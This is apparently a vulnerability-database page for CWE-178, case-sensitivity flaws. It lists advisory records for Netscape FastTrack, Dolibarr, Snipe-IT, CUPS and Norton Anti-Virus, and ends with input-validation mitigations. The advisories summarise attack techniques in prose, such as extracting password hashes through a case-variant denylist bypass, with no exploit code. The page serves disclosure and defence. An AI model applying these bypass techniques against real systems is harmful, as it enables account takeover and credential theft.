    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "1998-01-01T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Netscape FastTrack Web server lists files when a lowercase \"get\" command is used instead of an uppercase GET.",
  "id": "GHSA-vcjq-7hcj-xh74",
  "modified": "2024-02-02T03:30:26Z",
  "published": "2022-04-30T18:10:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-1999-0239"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/1731"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/122"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VHVR-3M2V-RRFQ

Vulnerability from github – Published: 2026-09-11 18:31 – Updated: 2026-09-11 18:31
VLAI
Details

Dolibarr 24.0.0 before 24.0.1 contains a case-sensitive denylist bypass vulnerability in the sqlfilters API query parameter that allows authenticated attackers to recover protected database fields by supplying uppercase variants of denylist-protected field names. Attackers can exploit the case-insensitive database column resolution against the case-sensitive denylist check in the core library to use prefix-matching predicates as a boolean oracle and extract full password hashes for any user account, including administrators.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-89012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T16:17:48Z",
    "severity": "HIGH"
  },
  "details": "Dolibarr 24.0.0 before 24.0.1 contains a case-sensitive denylist bypass vulnerability in the sqlfilters API query parameter that allows authenticated attackers to recover protected database fields by supplying uppercase variants of denylist-protected field names. Attackers can exploit the case-insensitive database column resolution against the case-sensitive denylist check in the core library to use prefix-matching predicates as a boolean oracle and extract full password hashes for any user account, including administrators.",
  "id": "GHSA-vhvr-3m2v-rrfq",
  "modified": "2026-09-11T18:31:24Z",
  "published": "2026-09-11T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89012"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/commit/7a04d9c970e45e15d29c91e6f5a34a262c6c51c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dolibarr-sql-filter-denylist-bypass-via-sqlfilters-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VP3X-C2H8-V6W8

Vulnerability from github – Published: 2026-09-09 15:35 – Updated: 2026-09-09 15:35
VLAI
Details

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4_unicode_ci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-86770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T14:17:27Z",
    "severity": "HIGH"
  },
  "details": "Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4_unicode_ci database collation to bypass username matching and achieve account takeover through federated login paths including SAML, LDAP, and OAuth.",
  "id": "GHSA-vp3x-c2h8-v6w8",
  "modified": "2026-09-09T15:35:14Z",
  "published": "2026-09-09T15:35:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-w3vv-5wxh-xg4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86770"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/snipe-it-before-8.7.0-authentication-bypass-via-saml-username-collation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VP74-83H5-6967

Vulnerability from github – Published: 2022-04-29 03:00 – Updated: 2024-02-15 21:31
VLAI
Details

CUPS before 1.1.21rc1 treats a Location directive in cupsd.conf as case sensitive, which allows attackers to bypass intended ACLs via a printer name containing uppercase or lowercase letters that are different from what is specified in the directive.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2004-2154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2004-12-31T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "CUPS before 1.1.21rc1 treats a Location directive in cupsd.conf as case sensitive, which allows attackers to bypass intended ACLs via a printer name containing uppercase or lowercase letters that are different from what is specified in the directive.",
  "id": "GHSA-vp74-83h5-6967",
  "modified": "2024-02-15T21:31:23Z",
  "published": "2022-04-29T03:00:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-2154"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=162405"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=163274"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9940"
    },
    {
      "type": "WEB",
      "url": "http://www.cups.org/str.php?L700"
    },
    {
      "type": "WEB",
      "url": "http://www.novell.com/linux/security/advisories/2005_18_sr.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2005-571.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/usn-185-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VV2M-P3GP-W7P3

Vulnerability from github – Published: 2022-04-30 18:19 – Updated: 2024-02-02 03:30
VLAI
Details

Norton Anti-Virus (NAV) allows remote attackers to bypass content filtering via attachments whose Content-Type and Content-Disposition headers are mixed upper and lower case, which is ignored by some mail clients.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2002-0485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2002-08-12T04:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Norton Anti-Virus (NAV) allows remote attackers to bypass content filtering via attachments whose Content-Type and Content-Disposition headers are mixed upper and lower case, which is ignored by some mail clients.",
  "id": "GHSA-vv2m-p3gp-w7p3",
  "modified": "2024-02-02T03:30:30Z",
  "published": "2022-04-30T18:19:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2002-0485"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=101684260510079\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=vuln-dev\u0026m=101681724810317\u0026w=2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-44
Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

No CAPEC attack patterns related to this CWE.

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